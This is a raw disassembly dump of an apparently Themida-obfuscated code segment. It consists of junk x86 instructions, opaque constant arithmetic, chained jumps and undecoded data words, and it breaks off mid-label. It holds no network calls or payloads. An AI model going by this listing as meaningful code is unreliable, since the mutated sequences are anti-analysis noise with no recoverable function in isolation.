Themida_:00545BDBj mov esp, [esp] mov [esp], ebp push 1 pop ebp and eax, ebp mov ebp, [esp] jmp loc_54F062 ; --------------------------------------------------------------------------- aWsZ db 'W',0Ah db 'Z',0 align 10h loc_544860: ; CODE XREF: Themida_:00544DEBj not ebp sub esp, 4 jmp loc_54AC99 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 241C895Ch, 0C381E389h, 4, 2BE56h, 0F3010000h, 241C875Eh dd 0F624248Bh, 0B60F66F9h, 0B66866CCh, 0C89663Eh, 0B60F6624h dd 9C5166C8h, 0FFE8C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5448A5: ; CODE XREF: Themida_:00545B8Cj push ebx push eax mov eax, 33A615AEh or eax, 25167F33h sub eax, 0E5AD408Dh mov ebx, eax pop eax jmp loc_54A062 ; --------------------------------------------------------------------------- loc_5448BE: ; CODE XREF: Themida_:0054F01Bj push esp pop eax jmp loc_54EB97 ; --------------------------------------------------------------------------- loc_5448C5: ; CODE XREF: Themida_:0054AEA3j add ebp, eax pop eax push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] jmp loc_54DA94 ; --------------------------------------------------------------------------- db 5Dh, 8Bh, 34h dd 4EC8324h, 54243489h, 587EE9h, 24048F00h, 4C8FE9h db 0 ; --------------------------------------------------------------------------- loc_5448F1: ; CODE XREF: Themida_:0054A973j mov ebp, 77E65E3Dh xor [esp+4], ebp mov ebp, [esp] jmp loc_549008 ; --------------------------------------------------------------------------- loc_544902: ; CODE XREF: Themida_:0054A668j push small 59F6h mov [esp], dx push ecx mov cl, 0F1h xor cl, 0EEh mov dl, cl pop ecx jmp loc_54E6A0 ; --------------------------------------------------------------------------- dd 7E3C143h, 0FAB8F381h, 0DA29C827h, 83241C8Bh, 36E904C4h dd 81FFFFE8h, 4ECh, 241C8900h, 0D3F656B3h, 8007E3C0h, 0EB8094E3h dd 80DBF6CEh, 0D800CEC3h, 53D8005Bh, 911E9h, 48B6600h dd 50F6E924h, 0C5800000h, 0E9E83073h, 666Eh, 68C8B70Fh dd 4D88h, 28C8E9h, 4C48100h, 1000000h, 0D7295DEFh, 2E9768h dd 24148900h, 84255CBAh, 36F2E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_544992: ; CODE XREF: Themida_:0054D366j pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebp mov ebp, 448C1BEBh sub ecx, 1B5204EDh sub ecx, ebp jmp loc_5496C9 ; --------------------------------------------------------------------------- loc_5449BB: ; CODE XREF: Themida_:0054A07Aj pop ebx push ebp mov ebp, 5BD7A3Fh or ebp, 2D0D7F12h jmp loc_54B734 ; --------------------------------------------------------------------------- aXkBMU1Sqr db 'x;ج1[R',0 align 10h dd 0F181D9F7h, 0BF833CA7h, 8159C829h, 0CC5E47EBh, 95C38135h dd 81359014h, 593E98C3h, 81C3294Bh, 593E98EBh, 95BA524Bh dd 29359014h, 2434FFD3h, 0A69EE95Ah, 0BA520000h, 58F973B9h dd 815AD629h, 840E6AC6h, 0E9FE0110h, 6BB2h, 5B2434FFh dd 4C481h, 68E90000h, 31000060h, 3C33243Ch, 24248B24h dd 2424D366h, 0E717E99Ch, 0C481FFFFh, 4, 951FE9h, 0E9555B00h dd 3931h, 0F3842C7h, 0E956B443h, 3F12h, 0CB86D9F6h, 0A4F4E952h dd 0C6010000h, 5DADEE81h, 0FAE9066Ch, 0F70000A1h, 0FA3540D0h dd 1EF9FBFh, 0BA5258C6h, 2, 0FFE6F3E9h, 0E6C7E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544A9E: ; CODE XREF: Themida_:00548B72j push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 76AD7B01h mov esi, 89528500h sub esi, 18A53734h sub esi, 1B0335D0h jmp loc_54E0AA ; --------------------------------------------------------------------------- db 81h dd 66B360C1h, 59CF89E7h, 0FE4E9h, 0E9D00100h, 46FCh, 0E9243C33h dd 9580h, 5BDE0159h, 4C681h, 11E90000h, 81000050h, 4C5h dd 4BB5300h, 81000000h, 502777C5h, 0D1ED8139h, 0E947460Bh dd 0FFFFF76Bh, 0EC83E189h, 976AE904h, 0BA520000h, 71AE7086h dd 148BD029h, 85BFE924h, 9CBA0000h, 8130175Ah, 8B2840C2h dd 70C2811Ah, 8176950Fh, 8C16B1EAh, 42FAE930h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544B4A: ; CODE XREF: Themida_:0054C7DEj shr esi, 1 not esi xor esi, 0DEDEC8E3h xor ecx, esi jmp loc_54B8A6 ; --------------------------------------------------------------------------- db 0ACh dd 5153D830h, 0C0A0B050h, 0E0C006E0h, 46B0403h, 4C0FE10h dd 58C58817h, 885EED80h, 240C8BEFh, 2D50E9h, 0B60F6600h dd 0E08950CCh, 44F9E9h, 2C68100h, 56000000h, 42474FFh dd 24048F5Eh, 0F36E9h, 24348900h, 801867BEh, 0F7FE8714h dd 81FE87D7h, 665FB4C6h, 8F1E970h, 0ED810000h, 281C3D9Dh dd 0C581FD01h, 281C3D9Dh, 0E9EA015Fh, 0FFFFF715h ; --------------------------------------------------------------------------- loc_544BD0: ; CODE XREF: Themida_:0054D339j mov esi, [esp] add esp, 4 xor [esp+4], ecx push dword ptr [esp] jmp loc_54C23B ; --------------------------------------------------------------------------- aFzsbb db 'fZ顡',0 align 4 aRKIXsk db '',8,'-:ĉX<',0 align 4 dd 6AACBD55h, 0C5811675h, 69EB1319h, 0E581D5F7h, 5BEA7E52h dd 6A4DCD81h, 0F5812090h, 19651498h, 2911BE56h, 0F5315FF2h dd 907EE9h db 0 ; --------------------------------------------------------------------------- loc_544C29: ; CODE XREF: Themida_:0054B140j add eax, ebp jmp loc_549D0A ; --------------------------------------------------------------------------- dd 358DE381h, 0EB814C55h, 0C151480h, 815BDA01h, 2C2h, 24143300h dd 33241431h, 248B2414h, 48B6624h, 7BE95624h, 0F7FFFFEAh dd 74C981D9h, 815A244Dh, 0F8B9C0E9h, 5F8EE995h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544C6E: ; CODE XREF: Themida_:0054C6CDj mov edi, 4 add esi, edi jmp loc_5487C4 ; --------------------------------------------------------------------------- dw 0F828h dd 5159665Bh, 4EC81h, 7BE90000h, 68FFFFECh, 0EFDh, 81242489h dd 42404h, 34FF0000h, 36E95D24h, 5A000047h, 8B2434FFh dd 0C4812414h, 4, 5304C483h, 0C5461BBBh, 69C3814Fh, 0E93C5210h dd 0FFFFFF6Ch, 91F9E95Ah, 2C8B0000h, 4C48324h, 1230E281h dd 0BCE96369h, 5DFFFFF3h, 5608EBC1h, 1FC5E9h db 0 ; --------------------------------------------------------------------------- loc_544CE5: ; CODE XREF: Themida_:0054D251j pop esp jmp loc_543165 ; --------------------------------------------------------------------------- db 53h dd 241C8B54h, 5004C483h, 3A7D6857h, 815F33A5h, 0E249C2F7h dd 0BBF78123h, 89104773h, 0F2E95FF8h, 68000047h, 7479h dd 0E9242489h, 790Bh, 405h, 0CDE95500h, 8900006Dh, 4C681E6h dd 52000000h, 684D7ABAh, 72D4E905h, 68500000h, 5ABD2495h dd 3175E9h, 86CE8100h, 53597B4Ah, 7D98E9h, 59545100h, 3286B850h dd 5BE9194Ch, 0AC000052h, 4EC81h, 1C890000h, 4EC8124h dd 89000000h, 58E92414h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544D77: ; CODE XREF: Themida_:0054A720j inc edi push 0 sub [esp], edi mov edi, [esp] add esp, 4 shr edi, 7 push esi mov esi, 0 sub esi, edi jmp loc_545C6A ; --------------------------------------------------------------------------- db 68h, 47h, 0Eh dd 2C890000h, 0F7E95724h, 81000093h, 0E812F2EEh, 50E95B06h dd 5A00005Fh, 9AE9DFF7h, 81000095h, 5E3353F2h, 49E9511Ah db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_544DC7: ; CODE XREF: Themida_:0054EAF1j add edi, eax pop eax xchg edi, [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, 609F5920h or ecx, 3D4762D2h push ebp mov ebp, 605F6FF1h shr ebp, 2 jmp loc_544860 ; --------------------------------------------------------------------------- dd 0EA80EA00h, 0D2C280DBh, 3E2C059h, 49B45053h, 0FE15EC80h dd 3DF480C4h, 8058E388h, 0CB80CECBh, 5E3C082h, 85E5E9h db 0 ; --------------------------------------------------------------------------- loc_544E19: ; CODE XREF: Themida_:0054DE14j pop edi jmp loc_5473FE ; --------------------------------------------------------------------------- aZsN db 'ZN',0 dd 91EF8100h, 68AF7FBBh, 7, 0E9240C89h, 5780h, 4C6815Ah dd 87000000h, 0D35C2434h, 0EFE92424h, 5E000055h, 4C681h dd 0F4680000h, 8900007Dh, 0E9E9242Ch, 0FF00007Bh, 5A042474h dd 5C24048Fh, 2404FF66h, 0E2F3E99Ch, 248BFFFFh, 0E2EBE924h dd 0C181FFFFh, 2, 5C240C87h, 92BDE9h, 0F8B700h, 0EE805AF7h dd 0E8BDE925h, 0F581FFFFh, 76853C5Fh, 40C7ED81h, 0A683D1Ah dd 89000047h, 95BF243Ch, 81767D23h, 4220C0EFh, 0CF814F78h dd 1F375E5Fh, 9325E9h, 2434FF00h, 4C4835Fh, 4EC81h, 3C890000h dd 2BF24h, 0FB010000h, 210CE9h db 0 ; --------------------------------------------------------------------------- loc_544EDD: ; CODE XREF: Themida_:00547CE9j or eax, eax jz loc_545DEF push dword ptr [edi+1Ch] sub esp, 4 mov [esp], esi mov esi, 448C1BEBh add [esp+4], esi jmp loc_54D362 ; --------------------------------------------------------------------------- loc_544EFC: ; CODE XREF: Themida_:0054EA31j mov ebp, 4 sub ecx, 487F21E4h jmp loc_54D23A ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 530DB624h, 92E9F788h, 0BD000056h dd 4, 835DEA01h, 0E95202C2h, 0FFFFFF2Fh, 1AC4C381h, 0C3012B1Eh dd 1AC4EB81h, 0EB812B1Eh db 0A6h, 1 word_544F42 dw 5E1Ch ; DATA XREF: ___:off_435718o aUsnv db 'UNV',0 align 2 loc_544F4A: ; CODE XREF: Themida_:005474C2j sub esi, eax pop eax add esi, 0B5A4E2B0h sub ecx, esi mov esi, [esp] add esp, 4 push 3CC5h jmp loc_54A717 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 5514E924h, 0EC830000h, 0E681E904h, 0EF81FFFFh, 790016B4h dd 5438E9h, 23E4BF00h, 0FB014050h, 0E774E95Fh, 8B66FFFFh dd 8952240Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 242C895Ch dd 0EC81E589h, 4, 0B8240489h, 4, 6858C501h, 7B98h, 0E9243C89h dd 7BE9h, 875FFD01h, 248B242Ch, 24048B24h, 59C7E9h, 0E9C12900h dd 9BDDh, 172FE955h, 8B660000h, 0B6E9240Ch db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544FEF: ; CODE XREF: Themida_:00545C65j mov bl, dh pop edx mov eax, [esp] add esp, 4 push edx mov edx, 28h jmp loc_545E54 ; --------------------------------------------------------------------------- dw 0F788h dd 0D6E9h, 93C78100h, 8173F434h, 0E24D50EFh, 3CF7817Ch dd 1408434h, 243C8BFBh, 4C481h, 21E90000h, 87000027h, 555C2414h dd 0C5815D54h, 4, 0E904C583h, 6683h ; --------------------------------------------------------------------------- loc_545044: ; CODE XREF: Themida_:0054682Aj xchg edi, [esp] mov esp, [esp] or eax, eax jmp loc_546B84 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0F7h dd 337A6268h, 0EF81DFF7h, 43E05140h, 655BEF81h, 0BE560738h dd 49EF4747h, 45F1EE81h, 0DEF719D9h, 0C4C5EE81h, 0F7216A00h dd 0A8F7815Eh, 9795B61h, 0E8C15FF8h, 129D0503h, 0C581F860h dd 28D86A64h, 0ED81C501h, 28D86A64h, 8324048Bh, 2C3304C4h dd 242C3124h, 21FBE9h, 0EC835A00h, 242C8904h, 9CCE9h, 4C78100h dd 81000000h, 4ECh, 9D83E900h, 90680000h, 89000035h, 4832424h dd 53590424h, 8658E9h db 0 ; --------------------------------------------------------------------------- loc_5450DD: ; CODE XREF: Themida_:005452A3j push ebp jmp loc_54B95D ; --------------------------------------------------------------------------- db 5Ah dd 0EC81EA04h, 4, 50240C89h, 2B1C3B4h, 7B13E9h, 48B5A00h dd 0E0895024h, 405h, 40500h, 4870000h, 0B9E95C24h, 0FF0000A2h dd 669D1C77h, 2414D359h, 0E043E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545122: ; CODE XREF: Themida_:0054E376j inc ebp neg ebp neg ebp xor ebp, 36940952h sub ebp, 7EE1503Ah add esi, ebp pop ebp push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp push ecx mov ch, 1Eh xor ch, 37h sub ch, 0DAh xor ch, 0E2h sub ch, 92h sub bl, ch pop ecx push eax mov ah, 0DEh shl ah, 3 shl ah, 6 not ah add ah, 5Bh sub bl, ah jmp loc_544240 ; --------------------------------------------------------------------------- dw 0BA52h dd 264C32A7h, 148BD589h, 0F7FBE924h, 7168FFFFh, 89000026h dd 4B82404h, 81000000h, 4A107DC1h, 81C10127h, 4A107DE9h dd 24048B27h, 6E91E9h, 24048100h, 4, 4BE5659h, 0E9000000h dd 9E70h, 114CE81h, 0F6810C94h, 6ED60350h, 348BF701h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 2C7835Ch, 31243C33h dd 3C33243Ch, 24248B24h, 24048B66h, 5906E9h, 0BD665500h dd 0E4E94E52h, 0FF00004Bh, 0E9582434h, 6271h, 0BB53DEF7h dd 234E4D70h, 295BDE01h, 0EB835EF3h, 8EBC1FFh, 0C15DEB81h dd 0BD2DFD86h, 290FE506h, 8A9BE9D8h, 3C870000h, 24248B24h dd 5667E9h, 0E9FD0000h, 33FBh, 171768h, 242C8900h, 6900BE56h dd 0C6812DE0h, 4784C1C4h, 9FCFE9h db 0 ; --------------------------------------------------------------------------- loc_54524D: ; CODE XREF: Themida_:00543475j sub edi, 294F2F35h add edi, esi add edi, 294F2F35h jmp loc_5462B9 ; --------------------------------------------------------------------------- dd 0F043E952h, 0FEB3FFFFh, 399D6866h, 241C8966h, 662414F6h dd 0E5EB805Bh, 41E9D828h, 68000044h, 3B74h, 89243489h dd 0F465E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54528E: ; CODE XREF: Themida_:0054EBD8j xchg ebp, [esp] pop esp push ebx mov ebx, 38h add ebx, edi sub esp, 4 mov [esp], edx jmp loc_5450DD ; --------------------------------------------------------------------------- loc_5452A8: ; CODE XREF: Themida_:00549A3Fj pop ecx add eax, edi sub eax, 0B791B3Ah push 78B2h mov [esp], edx mov edx, 0 sub edx, 256B076Fh jmp loc_54CC7D ; --------------------------------------------------------------------------- dd 875EF201h, 248B2414h, 24048F24h, 4DEEE9h, 0E8BD5500h dd 81510D51h, 1700BBF5h, 2E5C125h, 0FFFA4DE9h, 24248BFFh dd 9C240CD2h, 0FFDE6CE9h, 241433FFh, 2924248Bh, 0E99C2404h dd 0FFFFDE5Dh, 2BFh, 75C38100h, 0E90E747Ch, 428Fh, 4177B850h dd 0C781D421h, 2F0C7697h, 5C23C781h, 0C7295BD6h, 5C23EF81h dd 0B9515BD6h, 2F0C7697h, 9761E9h db 0 ; --------------------------------------------------------------------------- loc_54533D: ; CODE XREF: Themida_:0054768Bj xchg eax, [esp] pop esp mov [esp], ebp jmp loc_54D827 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 917054BDh dword_545350 dd 0E9EA0939h, 0FFFFEAA2h ; DATA XREF: ___:off_43CCB4o ; --------------------------------------------------------------------------- loc_545358: ; CODE XREF: Themida_:005434E3j and ebx, 5622351Ch inc ebx add ebx, 0FFFFDC03h add ecx, ebx pop ebx jmp loc_54CF1A ; --------------------------------------------------------------------------- db 5Eh, 1, 0CBh dd 4A1CEB81h, 87594B14h, 248B241Ch, 4C48324h, 0E99CC83Bh dd 0FFFFDDDDh ; --------------------------------------------------------------------------- loc_545388: ; CODE XREF: Themida_:00546822j mov edi, 4 jmp loc_54A315 ; --------------------------------------------------------------------------- dw 815Ah dd 0D35705C5h, 5DE931E4h, 0FF5A515Eh, 9EE92434h, 2900001Eh dd 760FE9D7h, 0EC830000h, 241C8904h, 293A68h, 24348900h dd 6279E9h db 0 ; --------------------------------------------------------------------------- loc_5453C1: ; CODE XREF: Themida_:0054DC08j inc esi and esi, 2ED418B2h push edi mov edi, 68366574h shr edi, 3 not edi add edi, 4CEC952Ah xor esi, edi jmp loc_548776 ; --------------------------------------------------------------------------- dd 0AF046FBFh, 0C2EE8115h, 0E97CB33Dh, 1582h, 80C1FE58h dd 0D9F6C3C1h, 726CE9h, 0C6015F00h, 24343358h, 0E9243431h dd 9B4Bh db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54674D ; --------------------------------------------------------------------------- db 5Ch dd 4C681h, 0C6810000h, 4, 8B243487h, 0EB812424h, 10395B4Ch dd 6624E9h, 4C68100h, 81000000h, 4C6h, 63E95600h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545447: ; CODE XREF: Themida_:00547903j mov [esp], edx mov edx, 4FFB499Ch and edi, edx pop edx jmp loc_54A2BA ; --------------------------------------------------------------------------- loc_545457: ; CODE XREF: Themida_:00543EC9j add eax, 4 jmp loc_545CF6 ; --------------------------------------------------------------------------- db 68h, 2Ch, 66h dd 1C890000h, 2F4E924h, 0EF810000h, 189E7A29h, 0C781CF01h dd 189E7A29h, 0A053E9h, 4C78300h, 5C243C87h, 5A7668h, 241C8900h dd 0C381E389h, 4, 4EC81h, 3C890000h, 4CF5BF24h, 62E94972h dd 4EFFFFFBh, 3653CE81h, 0EB684E18h, 89000029h, 0EEBA2414h dd 0C14AED65h, 19E907E2h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5454C7: ; CODE XREF: Themida_:005464DBj add ecx, ebp pop ebp xchg ecx, [esp] pop esp shr ecx, 2 jmp loc_543652 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFFBEEh, 4C381h, 0C3830000h, 241C8704h, 59C6E95Ch dd 0C890000h, 0C7885324h, 770CE9h, 0A3BA5200h, 5469570h dd 71AE7086h, 13E9D029h, 8BFFFFF6h, 89572404h, 4EC81E7h dd 89000000h, 4BE2434h, 1000000h, 95D0E9F7h, 3C8B0000h dd 4C48324h, 4C781h, 0EF810000h, 4, 2187E9h db 0 ; --------------------------------------------------------------------------- loc_54553D: ; CODE XREF: Themida_:0054D321j push 31EEh mov [esp], ecx mov ecx, 2 add eax, ecx pop ecx push eax push dword ptr [esp+4] jmp loc_5479EA ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483242Ch, 4285E904h, 0F6800000h, 68DEF6E9h dd 277Dh, 51240489h, 83E986B5h, 81000029h, 4C7h, 2BB5300h dd 56000000h, 164BD55h, 0DDF752FCh, 0BE56D5F7h, 325760B1h dd 0F681DEF7h, 611B3A33h, 4DFDEE81h, 0BCE94646h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5455AB: ; CODE XREF: Themida_:00545721j add esi, edi pop edi xchg esi, [esp] pop esp push 1965h mov [esp], ebp push ebp push esp mov ebp, [esp] jmp loc_54ADD9 ; --------------------------------------------------------------------------- loc_5455C4: ; CODE XREF: Themida_:0054827Cj xchg edx, [esp] pop esp mov [esp], esi mov esi, esp jmp loc_54A6E1 ; --------------------------------------------------------------------------- dw 0FC68h a_Soa db '_"o',0 align 4 dd 0B8588C2Dh, 1FBE5605h, 0E917CE78h, 0FFFFF1F3h, 0E9242489h dd 8ACEh, 52CAF581h, 0EA0172AFh, 4C24E95Dh, 48B0000h, 0E9545324h dd 5926h, 0E92434FFh, 0ABFh, 0F2E9DE29h, 5200002Eh, 8904EC83h dd 0FB7241Ch, 0FA28E0B2h, 0E4C2805Bh, 87B35366h, 5B66DA08h dd 4EC81h, 0C890000h, 80F0B524h, 0EA08C6C5h, 80C2FE59h dd 0B62C74EAh, 0B604D000h, 3595E9h db 0 ; --------------------------------------------------------------------------- loc_545655: ; CODE XREF: Themida_:0054D11Ej push eax mov eax, 0DD019D3Dh jmp loc_548DA8 ; --------------------------------------------------------------------------- loc_545660: ; CODE XREF: Themida_:00547A38j push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 67AE3975h shr ebx, 3 shl ebx, 3 and ebx, 12463B46h add ebx, 0FDF9C6C4h add ebp, ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_543F12 ; --------------------------------------------------------------------------- dw 0B951h dd 32672CEBh, 0FFF182E9h, 2235B9FFh, 81493575h, 0E227DAE1h dd 14F1814Ah, 0E9006022h, 0FFFFE2BDh, 157717BBh, 3EBC10Fh dd 0EFE2F381h, 1CE90162h, 6600001Bh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_546B27 ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 5624048Bh, 0B951E689h, 4, 71E9CE01h, 0BE000060h dd 4, 835EF001h, 43304C0h, 24043124h, 0E9240433h, 0AC8h dd 5BDE8966h, 81664666h, 66E4D1C6h, 0E2E9F001h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54571B: ; CODE XREF: Themida_:0054B225j push edi mov edi, 4 jmp loc_5455AB ; --------------------------------------------------------------------------- dw 0F109h dd 81D9F75Eh, 9E5A4DF1h, 1C9EE946h, 0C4810000h, 4, 8B24048Fh dd 0E1F62424h, 0CCB60F66h, 52E18951h, 0CE73FABAh, 6A6FE97Ah dd 51AD0000h, 276E15B9h, 737CE901h, 74FF0000h, 1C8B0424h dd 4EC8324h, 0E9241489h, 3DA2h, 3076EB81h, 0EB8138A3h dd 0E747C75h, 4EC815Fh, 89000000h, 20E9241Ch, 81000043h dd 133908E3h, 81D3F77Ch, 6C88DAF3h, 5BDF29ACh, 875FFA29h dd 0F9E92414h, 83000090h, 8F042404h, 4812404h, 424h, 418DE900h dd 6B90000h, 0F77E150Eh, 31E931D9h, 0F7E931CDh, 595551DDh dd 4052E9h, 24043300h, 33240431h, 26E92404h, 8000002Eh dd 0F828F4C7h, 83241C8Bh, 9C2C04C4h, 9C04D828h, 711D6866h dd 241C8966h, 0D800C9B3h, 0EC815B66h, 4, 9B99E9h, 0BB534700h dd 5F867C86h, 74E94B4Bh, 5DFFFFFFh, 9905E801h, 8B4B843Dh dd 99E9242Ch db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54582B: ; CODE XREF: Themida_:0054722Aj push ebx mov ebx, 5E74670Dh or ebx, 73F85B2Ah inc ebx push ebp mov ebp, 4E063857h jmp loc_549421 ; --------------------------------------------------------------------------- loc_545843: ; CODE XREF: Themida_:0054E24Fj mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 push dword ptr [eax] jmp loc_54DA8F ; --------------------------------------------------------------------------- db 5Bh dd 2C8BEF31h, 5E545624h, 4C681h, 0C6830000h, 24348704h dd 8BF8015Ch, 0C483243Ch, 698AE904h, 89500000h, 405E0h dd 0BD550000h, 4, 875DE801h, 815C2404h, 2C3h, 241C8700h dd 0FFCE95Ch, 9D680000h, 89000049h, 5655243Ch, 58DEE952h dd 48F0000h, 0F3815B24h, 61ECDAFFh, 0FFD890E9h, 4EC83FFh dd 24048F54h, 4240481h, 5D000000h, 4C581h, 0EC810000h dd 4, 0B8240489h, 13652F67h, 9AD09D05h, 58C501ECh, 3F7E9h dd 0EE8100h, 292B1254h, 0C681EEh, 892B1254h, 0BF575EF5h dd 75BF4042h, 0ACE9FD01h, 8B000005h, 0C4812404h, 4, 15EF301h dd 4CE95BD8h, 5C000050h, 24D1E9h, 24043000h, 0D81FE99Ch dd 0FD00FFFFh, 0EA805B66h, 0DBC280D2h, 0FFF49BE9h, 72EE81FFh dd 5A74B856h, 0E904C683h, 3F42h, 243C8B54h, 4C7CE9h, 24343100h dd 5C243433h, 9C2424D2h, 0FFD7E8E9h, 243C8BFFh, 5104C483h dd 2B9h, 59C80100h, 31B7E9h, 47E95800h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545997: ; CODE XREF: Themida_:0054A73Cj mov ebx, [esp] jmp loc_54834B ; --------------------------------------------------------------------------- db 68h dd 0C21h, 149BE9h, 242C8900h, 3866E9h db 0 ; --------------------------------------------------------------------------- loc_5459B1: ; CODE XREF: Themida_:00545F8Ej dec eax jmp loc_545B87 ; --------------------------------------------------------------------------- db 87h dd 87D1F7CDh, 0C1DDF7CDh, 0BA5203EDh, 185F335Ah, 5D02E9h dd 243C8900h, 4BB53h, 0DF890000h, 6102D5Bh, 0F8015580h dd 6C55E9h db 0 ; --------------------------------------------------------------------------- loc_5459E5: ; CODE XREF: Themida_:00546DB7j xor ecx, 665970E1h add edi, 2D6414A5h add edi, 4F447449h jmp loc_5443BD ; --------------------------------------------------------------------------- dd 9FC3B850h, 0C631F44Eh, 0FFFF1AE9h, 384281FFh, 7A4B08CAh dd 97384281h, 834E56A5h, 1C8904ECh, 306824h, 15B0000h dd 4EC83D3h, 52240489h, 4473E9h, 24148700h, 5724248Bh dd 63D2E9h, 3E21BE00h, 7401485Dh, 8B5E0824h, 0C481240Ch dd 4, 840BE958h, 0C5830000h, 242C8704h, 0FFF9B6E9h, 0BBEF81FFh dd 16B7F7Bh, 0BB535FF9h, 4, 0E95BD901h, 675Ah, 6824348Bh dd 29E9h, 15B2E9h, 81E58900h, 4C5h, 0E6895600h, 4C681h dd 0EE810000h, 4, 2474FF56h, 48F5E04h, 3C895C24h, 4BF24h dd 0FD010000h, 0FFDE88E9h, 243C31FFh, 0FFE0AAE9h, 247C01FFh dd 48F5F04h, 24048324h, 24348B04h, 4C481h, 9FE90000h, 5C00004Ch dd 2C16E9h db 0 ; --------------------------------------------------------------------------- loc_545ADD: ; CODE XREF: Themida_:0054CD76j pop esp mov eax, [esp] add esp, 4 push 1 push dword ptr [esp] pop eax push 502Ch mov [esp], edx jmp loc_54B6E4 ; --------------------------------------------------------------------------- db 68h, 0D3h, 7 dd 4890000h, 5E08924h, 4, 0E904E883h, 0FFFFE2FFh, 0ED8E981h dd 0C1293EFBh, 0ED8C181h, 0C1813EFBh, 5B2450Bh, 6CEBF57h dd 20E92BA8h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_545B33: ; CODE XREF: Themida_:0054D1E3j pop ecx push edx push bx mov bl, 0D4h mov dh, bl pop bx add dh, 1 and dh, 8Fh jmp loc_547477 ; --------------------------------------------------------------------------- aXsi db 'XI',7,0 align 2 dw 0C601h dd 582434FFh, 4C481h, 34870000h, 68B7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545B62: ; CODE XREF: Themida_:0054D9D3j push ebx push edi mov edi, 3A145A48h shr edi, 1 shl edi, 4 not edi xor edi, 2F5D2DBDh mov ebx, edi pop edi push ebx jmp loc_54A8D1 ; --------------------------------------------------------------------------- loc_545B7F: ; CODE XREF: Themida_:005447DAj xor dh, 21h jmp loc_5487E4 ; --------------------------------------------------------------------------- loc_545B87: ; CODE XREF: Themida_:005459B2j and eax, 2DD217EBh jmp loc_5448A5 ; --------------------------------------------------------------------------- loc_545B91: ; CODE XREF: Themida_:005469FEj pop eax pop ebx push ecx mov ecx, esp push edx jmp loc_54A50D ; --------------------------------------------------------------------------- dd 4B8h, 7FC28100h, 14EBA39h, 7FEA81C2h, 584EBA39h, 1986E9h dd 0C1FE5B00h, 0E906E9C0h, 31DFh, 0FF2434FFh, 55592434h dd 0EC815D54h, 4, 0E9241489h, 9203h ; --------------------------------------------------------------------------- loc_545BD8: ; CODE XREF: Themida_:005443D5j xchg edi, [esp] jmp loc_544844 ; --------------------------------------------------------------------------- aLFhd_ssg db '$$fh_S',0 align 4 dd 0E9028F66h, 0FFFFD571h ; --------------------------------------------------------------------------- loc_545BF4: ; CODE XREF: Themida_:00549138j pop esi push ecx mov ecx, 6C9B68DAh sub ecx, 40596C6Fh push edx jmp loc_54E4A1 ; --------------------------------------------------------------------------- db 59h dd 5C50C681h, 0C6011160h, 5C50BA52h, 0D6291160h, 28C6815Ah dd 515D3A63h, 0FFFB99E9h db 0FFh ; --------------------------------------------------------------------------- loc_545C25: ; CODE XREF: Themida_:0054B1F0j neg edx jmp loc_543BE6 ; --------------------------------------------------------------------------- dd 0FF241C89h, 6CE92434h, 5000078h, 181C0295h, 6D4AE9h dd 3BE4BE00h, 0F7210B49h, 44E7815Eh, 817CDE3Ah, 31FCEFh dd 5FFD0100h, 0E9242C87h, 2E0Fh ; --------------------------------------------------------------------------- loc_545C60: ; CODE XREF: Themida_:00546A11j mov dh, cl pop ecx pop eax pop ebx jmp loc_544FEF ; --------------------------------------------------------------------------- loc_545C6A: ; CODE XREF: Themida_:00544D94j push edi push esi push dword ptr [esp] pop edi add esp, 4 pop esi pop esi add edi, 100166Eh jmp loc_54DE05 ; --------------------------------------------------------------------------- dd 89241489h, 4C281E2h, 83000000h, 83E904C2h, 0BBFFFFD8h dd 4, 9E9D901h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545C9F: ; CODE XREF: Themida_:0054E623j push edi mov edi, 4 add edx, edi jmp loc_544772 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFDD0Dh, 0FF2434FFh, 0DDE92434h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545CBF: ; CODE XREF: Themida_:00546EF4j pop esi loc_545CC0: ; CODE 